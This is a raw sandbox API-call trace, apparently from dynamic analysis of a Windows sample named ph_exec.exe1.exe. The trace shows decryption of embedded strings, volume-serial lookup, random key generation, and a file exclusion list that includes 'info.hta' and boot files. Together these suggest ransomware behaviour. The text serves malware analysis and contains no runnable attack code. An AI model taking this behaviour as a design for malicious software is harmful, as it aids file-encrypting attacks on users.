[0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.902] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.903] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.904] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] GetLastError () returned 0x0 [0146.905] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23aa450, Size=0xb46) returned 0x23aa450 [0146.905] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a9378, Size=0xa8) returned 0x23a7f28 [0146.905] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fcd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd3c | out: phKey=0x55fd3c*=0x8366e0) returned 1 [0146.905] CryptSetKeyParam (hKey=0x8366e0, dwParam=0x1, pbData=0x55fd24, dwFlags=0x0) returned 1 [0146.905] CryptDecrypt (in: hKey=0x8366e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a0578, pdwDataLen=0x55fcf0 | out: pbData=0x23a0578, pdwDataLen=0x55fcf0) returned 1 [0146.905] CryptDestroyKey (hKey=0x8366e0) returned 1 [0146.905] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a14f8 [0146.905] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a1520 [0146.905] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a7fd8 [0146.905] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fcac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd14 | out: phKey=0x55fd14*=0x836da0) returned 1 [0146.905] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fcfc, dwFlags=0x0) returned 1 [0146.905] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7fd8, pdwDataLen=0x55fcc8 | out: pbData=0x23a7fd8, pdwDataLen=0x55fcc8) returned 1 [0146.905] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.905] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a7fd8 | out: hHeap=0x23a0000) returned 1 [0146.906] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a14f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0146.906] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0146.906] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a0578 | out: hHeap=0x23a0000) returned 1 [0146.906] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x55fd7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x55fd7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.906] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14f8 | out: hHeap=0x23a0000) returned 1 [0146.906] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23a0578 [0146.906] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8210 [0146.906] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbe4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc4c | out: phKey=0x55fc4c*=0x836820) returned 1 [0146.906] CryptSetKeyParam (hKey=0x836820, dwParam=0x1, pbData=0x55fc34, dwFlags=0x0) returned 1 [0146.906] CryptDecrypt (in: hKey=0x836820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a8210, pdwDataLen=0x55fc00 | out: pbData=0x23a8210, pdwDataLen=0x55fc00) returned 1 [0146.906] CryptDestroyKey (hKey=0x836820) returned 1 [0146.906] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8228 [0146.906] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc44 | out: phKey=0x55fc44*=0x8368a0) returned 1 [0146.906] CryptSetKeyParam (hKey=0x8368a0, dwParam=0x1, pbData=0x55fc2c, dwFlags=0x0) returned 1 [0146.906] CryptDecrypt (in: hKey=0x8368a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a8228, pdwDataLen=0x55fbf8 | out: pbData=0x23a8228, pdwDataLen=0x55fbf8) returned 1 [0146.906] CryptDestroyKey (hKey=0x8368a0) returned 1 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a82b8 [0146.907] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc3c | out: phKey=0x55fc3c*=0x836aa0) returned 1 [0146.907] CryptSetKeyParam (hKey=0x836aa0, dwParam=0x1, pbData=0x55fc24, dwFlags=0x0) returned 1 [0146.907] CryptDecrypt (in: hKey=0x836aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a82b8, pdwDataLen=0x55fbf0 | out: pbData=0x23a82b8, pdwDataLen=0x55fbf0) returned 1 [0146.907] CryptDestroyKey (hKey=0x836aa0) returned 1 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8180 [0146.907] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbcc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc34 | out: phKey=0x55fc34*=0x836ba0) returned 1 [0146.907] CryptSetKeyParam (hKey=0x836ba0, dwParam=0x1, pbData=0x55fc1c, dwFlags=0x0) returned 1 [0146.907] CryptDecrypt (in: hKey=0x836ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a8180, pdwDataLen=0x55fbe8 | out: pbData=0x23a8180, pdwDataLen=0x55fbe8) returned 1 [0146.907] CryptDestroyKey (hKey=0x836ba0) returned 1 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a7fd8 [0146.907] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc2c | out: phKey=0x55fc2c*=0x836da0) returned 1 [0146.907] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fc14, dwFlags=0x0) returned 1 [0146.907] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7fd8, pdwDataLen=0x55fbe0 | out: pbData=0x23a7fd8, pdwDataLen=0x55fbe0) returned 1 [0146.907] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8168 [0146.907] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc24 | out: phKey=0x55fc24*=0x8366e0) returned 1 [0146.907] CryptSetKeyParam (hKey=0x8366e0, dwParam=0x1, pbData=0x55fc0c, dwFlags=0x0) returned 1 [0146.907] CryptDecrypt (in: hKey=0x8366e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a8168, pdwDataLen=0x55fbd8 | out: pbData=0x23a8168, pdwDataLen=0x55fbd8) returned 1 [0146.907] CryptDestroyKey (hKey=0x8366e0) returned 1 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x70) returned 0x23a12a0 [0146.907] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbb4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc1c | out: phKey=0x55fc1c*=0x836da0) returned 1 [0146.907] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fc04, dwFlags=0x0) returned 1 [0146.907] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0x55fbd0 | out: pbData=0x23a12a0, pdwDataLen=0x55fbd0) returned 1 [0146.907] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.907] htonl (hostlong=0xb4197730) returned 0x307719b4 [0146.907] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x20, pbBuffer=0x55fd10 | out: pbBuffer=0x55fd10) returned 1 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x28) returned 0x23a14f8 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8270 [0146.907] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23a1528 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x14) returned 0x23a1538 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a81e0 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x80) returned 0x23a1318 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a82d0 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x82) returned 0x23a9888 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8138 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23aa2e0 [0146.908] CryptGenRandom (in: hProv=0x83a8f8, dwLen=0x55, pbBuffer=0x55fc7a | out: pbBuffer=0x55fc7a) returned 1 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8258 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x80) returned 0x23abc00 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a81c8 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x2) returned 0x23aa3c0 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23aa330 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8288 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x80) returned 0x23abc88 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a81f8 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23aa2c0 [0146.908] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23aa3c0, Size=0x82) returned 0x23a9408 [0146.908] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23aa2c0, Size=0x100) returned 0x23a4e50 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8198 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x82) returned 0x23a97f8 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8150 [0146.908] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x82) returned 0x23a9e28 [0146.908] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a9408, Size=0x104) returned 0x23a86e8 [0146.909] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a97f8, Size=0x104) returned 0x23a87f8 [0146.909] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a1318, Size=0x100) returned 0x23a1318 [0146.909] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a4e50, Size=0x200) returned 0x23a8908 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23aa330 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8908 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a81f8 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23abc00 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8258 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23abc88 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8288 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a86e8 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a81c8 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a87f8 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8198 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a9e28 | out: hHeap=0x23a0000) returned 1 [0146.910] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8150 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1528 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8270 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a9888 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a82d0 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1318 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a81e0 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23aa2e0 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8138 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14f8 | out: hHeap=0x23a0000) returned 1 [0146.911] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1538 | out: hHeap=0x23a0000) returned 1 [0146.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xa4) returned 0x23a1318 [0146.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x62) returned 0x23a8070 [0146.911] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a8070, Size=0xc2) returned 0x23a4e50 [0146.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8288 [0146.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xb40) returned 0x23a86e8 [0146.911] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc14 | out: phKey=0x55fc14*=0x836ca0) returned 1 [0146.911] CryptSetKeyParam (hKey=0x836ca0, dwParam=0x1, pbData=0x55fbfc, dwFlags=0x0) returned 1 [0146.911] CryptDecrypt (in: hKey=0x836ca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a86e8, pdwDataLen=0x55fbc8 | out: pbData=0x23a86e8, pdwDataLen=0x55fbc8) returned 1 [0146.911] CryptDestroyKey (hKey=0x836ca0) returned 1 [0146.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a81c8 [0146.911] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fba4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc0c | out: phKey=0x55fc0c*=0x836da0) returned 1 [0146.911] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fbf4, dwFlags=0x0) returned 1 [0146.911] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a81c8, pdwDataLen=0x55fbc0 | out: pbData=0x23a81c8, pdwDataLen=0x55fbc0) returned 1 [0146.911] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.911] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4f20 [0146.911] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbe4 | out: phKey=0x55fbe4*=0x836da0) returned 1 [0146.911] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fbcc, dwFlags=0x0) returned 1 [0146.911] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4f20, pdwDataLen=0x55fb98 | out: pbData=0x23a4f20, pdwDataLen=0x55fb98) returned 1 [0146.912] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.912] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x84) returned 0x23a9378 [0146.912] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x84) returned 0x23aa188 [0146.912] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23abfa8 [0146.912] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbbc | out: phKey=0x55fbbc*=0x836aa0) returned 1 [0146.912] CryptSetKeyParam (hKey=0x836aa0, dwParam=0x1, pbData=0x55fba4, dwFlags=0x0) returned 1 [0146.912] CryptDecrypt (in: hKey=0x836aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23abfa8, pdwDataLen=0x55fb70 | out: pbData=0x23abfa8, pdwDataLen=0x55fb70) returned 1 [0146.912] CryptDestroyKey (hKey=0x836aa0) returned 1 [0146.912] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23abfa8 | out: hHeap=0x23a0000) returned 1 [0146.912] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x23a9378, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0146.913] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23aa188 | out: hHeap=0x23a0000) returned 1 [0146.913] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f20 | out: hHeap=0x23a0000) returned 1 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a13c8 [0146.913] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb78, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbe0 | out: phKey=0x55fbe0*=0x836920) returned 1 [0146.913] CryptSetKeyParam (hKey=0x836920, dwParam=0x1, pbData=0x55fbc8, dwFlags=0x0) returned 1 [0146.913] CryptDecrypt (in: hKey=0x836920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a13c8, pdwDataLen=0x55fb94 | out: pbData=0x23a13c8, pdwDataLen=0x55fb94) returned 1 [0146.913] CryptDestroyKey (hKey=0x836920) returned 1 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x18) returned 0x23a13f0 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x18) returned 0x23a14f8 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4f20 [0146.913] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbb8 | out: phKey=0x55fbb8*=0x836da0) returned 1 [0146.913] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fba0, dwFlags=0x0) returned 1 [0146.913] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4f20, pdwDataLen=0x55fb6c | out: pbData=0x23a4f20, pdwDataLen=0x55fb6c) returned 1 [0146.913] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.913] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f20 | out: hHeap=0x23a0000) returned 1 [0146.913] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x23a13f0, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0146.913] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14f8 | out: hHeap=0x23a0000) returned 1 [0146.913] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a13c8 | out: hHeap=0x23a0000) returned 1 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23abfa8 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23ac1c0 [0146.913] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23ac1c0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0146.913] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac1c0 | out: hHeap=0x23a0000) returned 1 [0146.913] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xb38) returned 0x23ac1c0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.914] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.915] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.916] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.917] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 0x0 [0146.918] GetLastError () returned 